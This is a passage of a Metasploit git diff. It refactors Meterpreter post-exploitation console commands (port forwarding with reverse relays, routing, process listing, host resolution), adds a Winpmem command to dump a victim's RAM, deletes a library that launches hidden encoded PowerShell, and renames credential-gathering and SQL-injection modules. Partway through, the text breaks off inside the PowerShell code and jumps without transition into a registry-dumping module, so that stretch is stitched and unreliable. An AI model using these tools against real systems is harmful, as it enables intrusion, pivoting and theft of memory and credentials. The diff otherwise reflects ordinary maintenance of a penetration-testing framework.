'Columns' => [ + 'Proto', + 'Local address', + 'Remote address', + 'State', + 'User', + 'Inode', + 'PID/Program name' + ], + 'SearchTerm' => search_term) connection_table.each { |connection| tbl << [ connection.protocol, connection.local_addr_str, connection.remote_addr_str, @@ -159,9 +175,9 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print_line("\n#{tbl.to_s}") else - print_line("Connection list is empty.") + print_line('Connection list is empty.') end end @@ -169,8 +185,14 @@ class Console::CommandDispatcher::Stdapi::Net # Displays ARP cache of the remote machine. # def cmd_arp(*args) + if args.include?('-h') + @@arp_opts.usage + return 0 + end + arp_table = client.net.config.arp_table search_term = nil + @@arp_opts.parse(args) { |opt, idx, val| case opt when '-S' @@ -181,21 +203,17 @@ class Console::CommandDispatcher::Stdapi::Net else search_term = /#{search_term}/nmi end - when "-h" - @@arp_opts.usage - return 0 - end } - tbl = Rex::Ui::Text::Table.new( - 'Header' => "ARP cache", + + tbl = Rex::Text::Table.new( + 'Header' => 'ARP cache', 'Indent' => 4, - 'Columns' => - [ - "IP address", - "MAC address", - "Interface" - ], + 'Columns' => [ + 'IP address', + 'MAC address', + 'Interface' + ], 'SearchTerm' => search_term) arp_table.each { |arp| @@ -203,9 +221,9 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print_line("\n#{tbl.to_s}") else - print_line("ARP cache is empty.") + print_line('ARP cache is empty.') end end @@ -217,7 +235,7 @@ class Console::CommandDispatcher::Stdapi::Net ifaces = client.net.config.interfaces if (ifaces.length == 0) - print_line("No interfaces were found.") + print_line('No interfaces were found.') else ifaces.sort{|a,b| a.index <=> b.index}.each do |iface| print("\n" + iface.pretty + "\n") @@ -233,20 +251,23 @@ class Console::CommandDispatcher::Stdapi::Net def cmd_route(*args) # Default to list if (args.length == 0) - args.unshift("list") + args.unshift('list') end # Check to see if they specified -h @@route_opts.parse(args) { |opt, idx, val| case opt - when "-h" - print( - "Usage: route [-h] command [args]\n\n" + - "Display or modify the routing table on the remote machine.\n\n" + - "Supported commands:\n\n" + - " add [subnet] [netmask] [gateway]\n" + - " delete [subnet] [netmask] [gateway]\n" + - " list\n\n") + when '-h' + print_line('Usage: route [-h] command [args]') + print_line + print_line('Display or modify the routing table on the remote machine.') + print_line + print_line('Supported commands:') + print_line + print_line(' add [subnet] [netmask] [gateway]') + print_line(' delete [subnet] [netmask] [gateway]') + print_line(' list') + print_line return true end } @@ -255,21 +276,20 @@ class Console::CommandDispatcher::Stdapi::Net # Process the commands case cmd - when "list" + when 'list' routes = client.net.config.routes # IPv4 - tbl = Rex::Ui::Text::Table.new( - 'Header' => "IPv4 network routes", + tbl = Rex::Text::Table.new( + 'Header' => 'IPv4 network routes', 'Indent' => 4, - 'Columns' => - [ - "Subnet", - "Netmask", - "Gateway", - "Metric", - "Interface" - ]) + 'Columns' => [ + 'Subnet', + 'Netmask', + 'Gateway', + 'Metric', + 'Interface' + ]) routes.select {|route| Rex::Socket.is_ipv4?(route.netmask) @@ -278,23 +298,22 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print_line("\n#{tbl.to_s}") else - print_line("No IPv4 routes were found.") + print_line('No IPv4 routes were found.') end # IPv6 - tbl = Rex::Ui::Text::Table.new( - 'Header' => "IPv6 network routes", + tbl = Rex::Text::Table.new( + 'Header' => 'IPv6 network routes', 'Indent' => 4, - 'Columns' => - [ - "Subnet", - "Netmask", - "Gateway", - "Metric", - "Interface" - ]) + 'Columns' => [ + 'Subnet', + 'Netmask', + 'Gateway', + 'Metric', + 'Interface' + ]) routes.select {|route| Rex::Socket.is_ipv6?(route.netmask) @@ -303,37 +322,37 @@ class Console::CommandDispatcher::Stdapi::Net } if tbl.rows.length > 0 - print("\n" + tbl.to_s + "\n") + print("\n#{tbl.to_s}") else - print_line("No IPv6 routes were found.") + print_line('No IPv6 routes were found.') end - when "add" - # Satisfy check to see that formatting is correct - unless Rex::Socket::RangeWalker.new(args[0]).length == 1 - print_error "Invalid IP Address" - return false - end + when 'add' + # Satisfy check to see that formatting is correct + unless Rex::Socket::RangeWalker.new(args[0]).length == 1 + print_error "Invalid IP Address" + return false + end - unless Rex::Socket::RangeWalker.new(args[1]).length == 1 - print_error "Invalid Subnet mask" - return false - end + unless Rex::Socket::RangeWalker.new(args[1]).length == 1 + print_error 'Invalid Subnet mask' + return false + end print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}") client.net.config.add_route(*args) - when "delete" - # Satisfy check to see that formatting is correct - unless Rex::Socket::RangeWalker.new(args[0]).length == 1 - print_error "Invalid IP Address" - return false - end + when 'delete' + # Satisfy check to see that formatting is correct + unless Rex::Socket::RangeWalker.new(args[0]).length == 1 + print_error 'Invalid IP Address' + return false + end - unless Rex::Socket::RangeWalker.new(args[1]).length == 1 - print_error "Invalid Subnet mask" - return false - end + unless Rex::Socket::RangeWalker.new(args[1]).length == 1 + print_error 'Invalid Subnet mask' + return false + end print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}") @@ -348,28 +367,34 @@ class Console::CommandDispatcher::Stdapi::Net # network. This provides an elementary pivoting interface. # def cmd_portfwd(*args) - args.unshift("list") if args.empty? + args.unshift('list') if args.empty? # For clarity's sake. lport = nil lhost = nil rport = nil rhost = nil + reverse = false + index = nil # Parse the options @@portfwd_opts.parse(args) { |opt, idx, val| case opt - when "-h" + when '-h' cmd_portfwd_help return true - when "-l" + when '-l' lport = val.to_i - when "-L" + when '-L' lhost = val - when "-p" + when '-p' rport = val.to_i - when "-r" + when '-r' rhost = val + when '-R' + reverse = true + when '-i' + index = val.to_i end } @@ -385,7 +410,13 @@ class Console::CommandDispatcher::Stdapi::Net # Process the command case args.shift - when "list" + when 'list' + + table = Rex::Text::Table.new( + 'Header' => 'Active Port Forwards', + 'Indent' => 3, + 'SortIndex' => -1, + 'Columns' => ['Index', 'Local', 'Remote', 'Direction']) cnt = 0 @@ -393,62 +424,143 @@ class Console::CommandDispatcher::Stdapi::Net service.each_tcp_relay { |lhost, lport, rhost, rport, opts| next if (opts['MeterpreterRelay'] == nil) - print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}") + direction = 'Forward' + direction = 'Reverse' if opts['Reverse'] == true + + if opts['Reverse'] == true + table << [cnt + 1, "#{rhost}:#{rport}", "#{lhost}:#{lport}", 'Reverse'] + else + table << [cnt + 1, "#{lhost}:#{lport}", "#{rhost}:#{rport}", 'Forward'] + end cnt += 1 } print_line - print_line("#{cnt} total local port forwards.") + if cnt > 0 + print_line(table.to_s) + print_line("#{cnt} total active port forwards.") + else + print_line('No port forwards are currently active.') + end + print_line + when 'add' - when "add" + if reverse + # Validate parameters + unless lport && lhost && rport + print_error('You must supply a local port, local host, and remote port.') + return + end - # Validate parameters - if (!lport or !rhost or !rport) - print_error("You must supply a local port, remote host, and remote port.") - return + begin + channel = client.net.socket.create( + Rex::Socket::Parameters.new( + 'LocalPort' => rport, + 'Proto' => 'tcp', + 'Server' => true + ) + ) + + # Start the local TCP reverse relay in association with this stream + service.start_reverse_tcp_relay(channel, + 'LocalPort' => rport, + 'PeerHost' => lhost, + 'PeerPort' => lport, + 'MeterpreterRelay' => true) + rescue Exception => e + print_error("Failed to create relay: #{e.to_s}") + return false + end + + else + # Validate parameters + unless lport && rhost && rport + print_error('You must supply a local port, remote host, and remote port.') + return + end + + # Start the local TCP relay in association with this stream + service.start_tcp_relay(lport, + 'LocalHost' => lhost, + 'PeerHost' => rhost, + 'PeerPort' => rport, + 'MeterpreterRelay' => true, + 'OnLocalConnection' => Proc.new { |relay, lfd| create_tcp_channel(relay) }) end - # Start the local TCP relay in association with this stream - service.start_tcp_relay(lport, - 'LocalHost' => lhost, - 'PeerHost' => rhost, - 'PeerPort' => rport, - 'MeterpreterRelay' => true, - 'OnLocalConnection' => Proc.new { |relay, lfd| - create_tcp_channel(relay) - }) - - print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}") + print_status("Local TCP relay created: #{lhost}:#{lport} <-> #{rhost}:#{rport}") # Delete local port forwards - when "delete" + when 'delete', 'remove', 'del', 'rm' - # No local port, no love. - if (!lport) - print_error("You must supply a local port.") - return + found = false + unless index.nil? + counter = 1 + service.each_tcp_relay do |lh, lp, rh, rp, opts| + if counter == index + lhost, lport, rhost, rport = lh, lp, rh, rp + reverse = opts['Reverse'] == true + found = true + break + end + + counter += 1 + end + + unless found + print_error("Invalid index: #{index}") + end end - # Stop the service - if (service.stop_tcp_relay(lport, lhost)) - print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + if reverse + # No remote port, no love. + unless rport + print_error('You must supply a remote port.') + return + end + + if service.stop_reverse_tcp_relay(lport) + print_status("Successfully stopped reverse TCP relay on :#{lport}") + else + print_error("Failed to stop reverse TCP relay on #{lport}") + end else - print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + # No local port, no love. + unless lport + print_error('You must supply a local port.') + return + end + + # Stop the service + if service.stop_tcp_relay(lport, lhost) + print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + else + print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + end end - when "flush" + when 'flush' counter = 0 service.each_tcp_relay do |lhost, lport, rhost, rport, opts| next if (opts['MeterpreterRelay'] == nil) - if (service.stop_tcp_relay(lport, lhost)) - print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + if opts['Reverse'] == true + if service.stop_reverse_tcp_relay(lport) + print_status("Successfully stopped reverse TCP relay on :#{lport}") + else + print_error("Failed to stop reverse TCP relay on #{lport}") + next + end else - print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") - next + if service.stop_tcp_relay(lport, lhost) + print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + else + print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}") + next + end end counter += 1 @@ -461,19 +573,68 @@ class Console::CommandDispatcher::Stdapi::Net end def cmd_portfwd_help - print_line "Usage: portfwd [-h] [add | delete | list | flush] [args]" + print_line 'Usage: portfwd [-h] [add | delete | list | flush] [args]' print_line print @@portfwd_opts.usage end def cmd_getproxy - p = client.net.config.get_proxy_config() + p = client.net.config.get_proxy_config print_line( "Auto-detect : #{p[:autodetect] ? "Yes" : "No"}" ) print_line( "Auto config URL : #{p[:autoconfigurl]}" ) print_line( "Proxy URL : #{p[:proxy]}" ) print_line( "Proxy Bypass : #{p[:proxybypass]}" ) end + # + # Resolve 1 or more hostnames on the target session + # + def cmd_resolve(*args) + args.unshift('-h') if args.length == 0 + + hostnames = [] + family = AF_INET + + @@resolve_opts.parse(args) { |opt, idx, val| + case opt + when '-h' + print_line('Usage: resolve host1 host2 .. hostN [-h] [-f IPv4|IPv6]') + print_line + print_line(@@resolve_opts.usage) + return false + when '-f' + if val.downcase == 'ipv6' + family = AF_INET6 + elsif val.downcase != 'ipv4' + print_error("Invalid family: #{val}") + return false + end + else + hostnames << val + end + } + + response = client.net.resolve.resolve_hosts(hostnames, family) + + table = Rex::Text::Table.new( + 'Header' => 'Host resolutions', + 'Indent' => 4, + 'SortIndex' => 0, + 'Columns' => ['Hostname', 'IP Address'] + ) + + response.each do |result| + if result[:ip].nil? + table << [result[:hostname], '[Failed To Resolve]'] + else + table << [result[:hostname], result[:ip]] + end + end + + print_line + print_line(table.to_s) + end + protected # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 3e1668e6c7..9befa33a8a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -63,11 +63,12 @@ class Console::CommandDispatcher::Stdapi::Sys # Options for the 'ps' command. # @@ps_opts = Rex::Parser::Arguments.new( - "-S" => [ true, "String to search for (converts to regex)" ], - "-h" => [ false, "Help menu." ], - "-A" => [ true, "Filters processes on architecture (x86 or x86_64)" ], - "-s" => [ false, "Show only SYSTEM processes" ], - "-U" => [ true, "Filters processes on the user using the supplied RegEx" ]) + "-S" => [ true, "String to search for (converts to regex)" ], + "-h" => [ false, "Help menu." ], + "-A" => [ true, "Filters processes on architecture" ], + "-s" => [ false, "Show only SYSTEM processes" ], + "-c" => [ false, "Show only child processes of the current shell" ], + "-U" => [ true, "Filters processes on the user using the supplied RegEx"]) # # Options for the 'suspend' command. @@ -93,13 +94,14 @@ class Console::CommandDispatcher::Stdapi::Sys "kill" => "Terminate a process", "ps" => "List running processes", "reboot" => "Reboots the remote computer", - "reg" => "Modify and interact with the remote registry", + "reg" => "Modify and interact with the remote registry", "rev2self" => "Calls RevertToSelf() on the remote machine", "shell" => "Drop into a system command shell", "shutdown" => "Shuts down the remote computer", "steal_token" => "Attempts to steal an impersonation token from the target process", "suspend" => "Suspends or resumes a list of processes", "sysinfo" => "Gets information about the remote system, such as OS", + "localtime" => "Displays the target system's local date and time", } reqs = { "clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ], @@ -134,6 +136,7 @@ class Console::CommandDispatcher::Stdapi::Sys "steal_token" => [ "stdapi_sys_config_steal_token" ], "suspend" => [ "stdapi_sys_process_attach"], "sysinfo" => [ "stdapi_sys_config_sysinfo" ], + "localtime" => [ "stdapi_sys_config_localtime" ], } all.delete_if do |cmd, desc| @@ -297,7 +300,7 @@ class Console::CommandDispatcher::Stdapi::Sys if vars.length == 0 print_error("None of the specified environment variables were found/set.") else - table = Rex::Ui::Text::Table.new( + table = Rex::Text::Table.new( 'Header' => 'Environment Variables', 'Indent' => 0, 'SortIndex' => 1, @@ -445,11 +448,10 @@ class Console::CommandDispatcher::Stdapi::Sys searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new processes.each do |proc| next if proc['arch'].nil? or proc['arch'].empty? - if val.nil? or val.empty? or !(val == "x86" or val == "x86_64") - print_line "You must select either x86 or x86_64" + if val.nil? or val.empty? return false end - searched_procs << proc if proc["arch"] == val + searched_procs << proc if proc["arch"] == (val == 'x64' ? 'x86_64' : val) end processes = searched_procs when "-s" @@ -459,6 +461,14 @@ class Console::CommandDispatcher::Stdapi::Sys searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" end processes = searched_procs + when "-c" + print_line "Filtering on child processes of the current shell..." + current_shell_pid = client.sys.process.getpid + searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new + processes.each do |proc| + searched_procs << proc if proc['ppid'] == current_shell_pid + end + processes = searched_procs when "-U" print_line "Filtering on user name..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new @@ -800,7 +810,7 @@ class Console::CommandDispatcher::Stdapi::Sys # Displays information about the remote system. # def cmd_sysinfo(*args) - info = client.sys.config.sysinfo + info = client.sys.config.sysinfo(refresh: true) width = "Meterpreter".length info.keys.each { |k| width = k.length if k.length > width and info[k] } @@ -812,6 +822,14 @@ class Console::CommandDispatcher::Stdapi::Sys return true end + # + # Displays the local date and time at the remote system location. + # + def cmd_localtime(*args) + print_line("Local Date/Time: " + client.sys.config.localtime); + return true + end + # # Shuts down the remote computer. # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb index 56c508bf75..5de74d1002 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb @@ -187,7 +187,7 @@ class Console::CommandDispatcher::Stdapi::Ui desktops = client.ui.enum_desktops - desktopstable = Rex::Ui::Text::Table.new( + desktopstable = Rex::Text::Table.new( 'Header' => "Desktops", 'Indent' => 4, 'Columns' => [ "Session", diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb new file mode 100644 index 0000000000..f562d7f29a --- /dev/null +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/winpmem.rb @@ -0,0 +1,90 @@ +# -*- coding: binary -*- +require 'rex/post/meterpreter' + +module Rex +module Post +module Meterpreter +module Ui + + class Console::CommandDispatcher::Winpmem + + Klass = Console::CommandDispatcher::Winpmem + + include Console::CommandDispatcher + + # + # Name for this dispatcher + # + def name + 'Winpmem' + end + + # + # List of supported commands. + # + def commands + { + 'dump_ram' => 'Dump victim RAM', + } + end + + WINPMEM_ERROR_SUCCESS = 0 + WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1 + WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2 + WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3 + WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4 + WINPMEM_ERROR_UNKNOWN = 255 + + def cmd_dump_ram(*args) + unless args[0] + print_error("Usage: dump_ram [output_file]") + return + end + path_raw = args[0] + + fd = ::File.new(path_raw, 'wb+') + memory_size, response_code, channel = client.winpmem.dump_ram + case response_code + when WINPMEM_ERROR_FAILED_LOAD_DRIVER + print_error("Failed to load the driver") + return true + when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY + print_error("Failed to get the memory geometry") + return true + when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY + print_error("Failed to allocate memory") + return true + when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL + print_error("Failed to open the meterpreter Channel") + return true + end + print_good("Driver PMEM loaded successfully") + #Arbitrary big buffer size, could be optimized + buffer_size = 2**17 + bytes_read = 0 + next_message_byte = memory_size / 10 + begin + data = channel.read(buffer_size) + until channel.eof + fd.write(data) + bytes_read += data.length + data = channel.read(buffer_size) + if bytes_read >= next_message_byte + print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded") + next_message_byte += memory_size / 10 + end + end + print_status("Download completed") + ensure + print_status("Unloading driver") + fd.close + #Unload the driver on channel close + channel.close + end + return true + end + end + end + end + end + end diff --git a/lib/rex/powershell.rb b/lib/rex/powershell.rb deleted file mode 100644 index ad200d86c6..0000000000 --- a/lib/rex/powershell.rb +++ /dev/null @@ -1,62 +0,0 @@ -# -*- coding: binary -*- -require 'rex/powershell/payload' -require 'rex/powershell/output' -require 'rex/powershell/parser' -require 'rex/powershell/obfu' -require 'rex/powershell/param' -require 'rex/powershell/function' -require 'rex/powershell/script' -require 'rex/powershell/psh_methods' -require 'rex/powershell/command' - - -module Rex - module Powershell - # - # Reads script into a Powershell::Script - # - # @param script_path [String] Path to the Script File - # - # @return [Script] Powershell Script object - def self.read_script(script_path) - Rex::Powershell::Script.new(script_path) - end - - # - # Insert substitutions into the powershell script - # If script is a path to a file then read the file - # otherwise treat it as the contents of a file - # - # @param script [String] Script file or path to script - # @param subs [Array] Substitutions to insert - # - # @return [String] Modified script file - def self.make_subs(script, subs) - if ::File.file?(script) - script = ::File.read(script) - end - - subs.each do |set| - script.gsub!(set[0], set[1]) - end - - script - end - - # - # Return an array of substitutions for use in make_subs - # - # @param subs [String] A ; seperated list of substitutions - # - # @return [Array] An array of substitutions - def self.process_subs(subs) - return [] if subs.nil? or subs.empty? - new_subs = [] - subs.split(';').each do |set| - new_subs << set.split(',', 2) - end - - new_subs - end - end -end diff --git a/lib/rex/powershell/command.rb b/lib/rex/powershell/command.rb deleted file mode 100644 index 8e42f11a2d..0000000000 --- a/lib/rex/powershell/command.rb +++ /dev/null @@ -1,359 +0,0 @@ -# -*- coding: binary -*- - -module Rex -module Powershell -module Command - # - # Return an encoded powershell script - # Will invoke PSH modifiers as enabled - # - # @param script_in [String] Script contents - # @param opts [Hash] The options for encoding - # @option opts [Bool] :strip_comments Strip comments - # @option opts [Bool] :strip_whitespace Strip whitespace - # @option opts [Bool] :sub_vars Substitute variable names - # @option opts [Bool] :sub_funcs Substitute function names - # - # @return [String] Encoded script - def self.encode_script(script_in, eof=nil, opts={}) - # Build script object - psh = Rex::Powershell::Script.new(script_in) - psh.strip_comments if opts[:strip_comments] - psh.strip_whitespace if opts[:strip_whitespace] - psh.sub_vars if opts[:sub_vars] - psh.sub_funcs if opts[:sub_funcs] - psh.encode_code(eof) - end - - # - # Return a gzip compressed powershell script - # Will invoke PSH modifiers as enabled - # - # @param script_in [String] Script contents - # @param eof [String] Marker to indicate the end of file appended to script - # @param opts [Hash] The options for encoding - # @option opts [Bool] :strip_comments Strip comments - # @option opts [Bool] :strip_whitespace Strip whitespace - # @option opts [Bool] :sub_vars Substitute variable names - # @option opts [Bool] :sub_funcs Substitute function names - # - # @return [String] Compressed script with decompression stub - def self.compress_script(script_in, eof=nil, opts={}) - # Build script object - psh = Rex::Powershell::Script.new(script_in) - psh.strip_comments if opts[:strip_comments] - psh.strip_whitespace if opts[:strip_whitespace] - psh.sub_vars if opts[:sub_vars] - psh.sub_funcs if opts[:sub_funcs] - psh.compress_code(eof) - end - - # - # Generate a powershell command line, options are passed on to - # generate_psh_args - # - # @param opts [Hash] The options to generate the command line - # @option opts [String] :path Path to the powershell binary - # @option opts [Boolean] :no_full_stop Whether powershell binary - # should include .exe - # - # @return [String] Powershell command line with arguments - def self.generate_psh_command_line(opts) - if opts[:path] and (opts[:path][-1, 1] != '\\') - opts[:path] << '\\' - end - - if opts[:no_full_stop] - binary = 'powershell' - else - binary = 'powershell.exe' - end - - args = generate_psh_args(opts) - - "#{opts[:path]}#{binary} #{args}" - end - - # - # Generate arguments for the powershell command - # The format will be have no space at the start and have a space - # afterwards e.g. "-Arg1 x -Arg -Arg x " - # - # @param opts [Hash] The options to generate the command line - # @option opts [Boolean] :shorten Whether to shorten the powershell - # arguments (v2.0 or greater) - # @option opts [String] :encodedcommand Powershell script as an - # encoded command (-EncodedCommand) - # @option opts [String] :executionpolicy The execution policy - # (-ExecutionPolicy) - # @option opts [String] :inputformat The input format (-InputFormat) - # @option opts [String] :file The path to a powershell file (-File) - # @option opts [Boolean] :noexit Whether to exit powershell after - # execution (-NoExit) - # @option opts [Boolean] :nologo Whether to display the logo (-NoLogo) - # @option opts [Boolean] :noninteractive Whether to load a non - # interactive powershell (-NonInteractive) - # @option opts [Boolean] :mta Whether to run as Multi-Threaded - # Apartment (-Mta) - # @option opts [String] :outputformat The output format - # (-OutputFormat) - # @option opts [Boolean] :sta Whether to run as Single-Threaded - # Apartment (-Sta) - # @option opts [Boolean] :noprofile Whether to use the current users - # powershell profile (-NoProfile) - # @option opts [String] :windowstyle The window style to use - # (-WindowStyle) - # - # @return [String] Powershell command arguments - def self.generate_psh_args(opts) - return '' unless opts - - unless opts.key? :shorten - opts[:shorten] = (opts[:method] != 'old') - end - - arg_string = ' ' - opts.each_pair do |arg, value| - case arg - when :encodedcommand - arg_string << "-EncodedCommand #{value} " if value - when :executionpolicy - arg_string << "-ExecutionPolicy #{value} " if value - when :inputformat - arg_string << "-InputFormat #{value} " if value - when :file - arg_string << "-File #{value} " if value - when :noexit - arg_string << '-NoExit ' if value - when :nologo - arg_string << '-NoLogo ' if value - when :noninteractive - arg_string << '-NonInteractive ' if value - when :mta - arg_string << '-Mta ' if value - when :outputformat - arg_string << "-OutputFormat #{value} " if value - when :sta - arg_string << '-Sta ' if value - when :noprofile - arg_string << '-NoProfile ' if value - when :windowstyle - arg_string << "-WindowStyle #{value} " if value - end - end - - # Command must be last (unless from stdin - etc) - if opts[:command] - arg_string << "-Command #{opts[:command]}" - end - - # Shorten arg if PSH 2.0+ - if opts[:shorten] - # Invoke-Command and Out-File require these options to have - # an additional space before to prevent Powershell code being - # mangled. - arg_string.gsub!(' -Command ', ' -c ') - arg_string.gsub!('-EncodedCommand ', '-e ') - arg_string.gsub!('-ExecutionPolicy ', '-ep ') - arg_string.gsub!(' -File ', ' -f ') - arg_string.gsub!('-InputFormat ', '-i ') - arg_string.gsub!('-NoExit ', '-noe ') - arg_string.gsub!('-NoLogo ', '-nol ') - arg_string.gsub!('-NoProfile ', '-nop ') - arg_string.gsub!('-NonInteractive ', '-noni ') - arg_string.gsub!('-OutputFormat ', '-o ') - arg_string.gsub!('-Sta ', '-s ') - arg_string.gsub!('-WindowStyle ', '-w ') - end - - # Strip off first space character - arg_string = arg_string[1..-1] - # Remove final space character - arg_string = arg_string[0..-2] if (arg_string[-1] == ' ') - - arg_string - end - - # - # Wraps the powershell code to launch a hidden window and - # detect the execution environment and spawn the appropriate - # powershell executable for the payload architecture. - # - # @param ps_code [String] Powershell code - # @param payload_arch [String] The payload architecture 'x86'/'x86_64' - # @param encoded [Boolean] Indicates whether ps_code is encoded or not - # @param opts [Hash] The options for generate_psh_args - # - # @return [String] Wrapped powershell code - def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={}) - opts[:noprofile] ||= 'true' - opts[:windowstyle] ||= 'hidden' - - # Old method needs host process to stay open - opts[:noexit] = true if (opts[:method] == 'old') - - if encoded - opts[:encodedcommand] = ps_code - else - opts[:command] = ps_code.gsub("'", "''") - end - - ps_args = generate_psh_args(opts) - - process_start_info = <

    • }).flatten + vprint_good("#{peer} - Found #{hives.length} registry hives (#{hives.join(', ')})") + else + fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected reply (#{res.body.length} bytes)") + end + hives + end + + # + # Retrieve all registry hives + # + def dump_all + hives = retrieve_hive_list + if hives.blank? + print_error("#{peer} - Found no registry hives") + return + end + hives.each { |hive| dump_key(hive) } + end +end diff --git a/modules/auxiliary/gather/solarwinds_orion_sqli.rb b/modules/auxiliary/gather/solarwinds_orion_sqli.rb index 50ea93d350..9565fda3c8 100644 --- a/modules/auxiliary/gather/solarwinds_orion_sqli.rb +++ b/modules/auxiliary/gather/solarwinds_orion_sqli.rb @@ -7,7 +7,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index 316dd0886a..bbe30918cd 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -8,7 +8,7 @@ require 'active_support/inflector' require 'json' require 'active_support/core_ext/hash' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary class InvocationError < StandardError; end class RequestRateTooHigh < StandardError; end class InternalError < StandardError; end @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary name = name.to_s.camelize(:lower) uri = api_path + name - cli = Rex::Proto::Http::Client.new(api_host, api_port, {}, true, 'TLS1') + cli = Rex::Proto::Http::Client.new(api_host, api_port, {}, true, 'TLS') cli.connect req = cli.request_cgi({ 'uri' => uri, @@ -430,16 +430,15 @@ class Metasploit3 < Msf::Auxiliary { 'RPORT' => 443, 'SSL' => true, - 'SSLVersion' => 'TLS1' } )) register_options( [ OptString.new('HOSTNAME', [true, 'The target hostname']), OptInt.new('DELAY', [true, 'The delay in seconds between API requests', 5]), - OptBool.new('USECACHE', [true, 'Use cached results (if available), else force live scan', 'true']), - OptBool.new('GRADE', [true, 'Output only the hostname: grade', 'false']), - OptBool.new('IGNOREMISMATCH', [true, 'Proceed with assessments even when the server certificate doesn\'t match the assessment hostname', 'true']) + OptBool.new('USECACHE', [true, 'Use cached results (if available), else force live scan', true]), + OptBool.new('GRADE', [true, 'Output only the hostname: grade', false]), + OptBool.new('IGNOREMISMATCH', [true, 'Proceed with assessments even when the server certificate doesn\'t match the assessment hostname', true]) ], self.class) end diff --git a/modules/auxiliary/gather/trackit_sql_domain_creds.rb b/modules/auxiliary/gather/trackit_sql_domain_creds.rb index 68b1c93e02..79c7d70947 100644 --- a/modules/auxiliary/gather/trackit_sql_domain_creds.rb +++ b/modules/auxiliary/gather/trackit_sql_domain_creds.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'openssl' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Report diff --git a/modules/auxiliary/gather/vbulletin_vote_sqli.rb b/modules/auxiliary/gather/vbulletin_vote_sqli.rb index d7de619453..0259e3f95c 100644 --- a/modules/auxiliary/gather/vbulletin_vote_sqli.rb +++ b/modules/auxiliary/gather/vbulletin_vote_sqli.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient @@ -189,7 +189,7 @@ class Metasploit3 < Msf::Auxiliary count_users = data.to_i print_good("#{count_users} users found. Collecting credentials...") - users_table = Rex::Ui::Text::Table.new( + users_table = Rex::Text::Table.new( 'Header' => 'vBulletin Users', 'Indent' => 1, 'Columns' => ['Username', 'Password Hash', 'Salt'] diff --git a/modules/auxiliary/gather/windows_deployment_services_shares.rb b/modules/auxiliary/gather/windows_deployment_services_shares.rb index c88ab1fc3f..4931f25f88 100644 --- a/modules/auxiliary/gather/windows_deployment_services_shares.rb +++ b/modules/auxiliary/gather/windows_deployment_services_shares.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex/proto/dcerpc' require 'rex/parser/unattend' -class Metasploit3 < Msf::Auxiliary +class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::SMB::Client include Msf::Exploit::Remote::SMB::Client::Authenticated @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary begin dcerpc_bind(handle) rescue 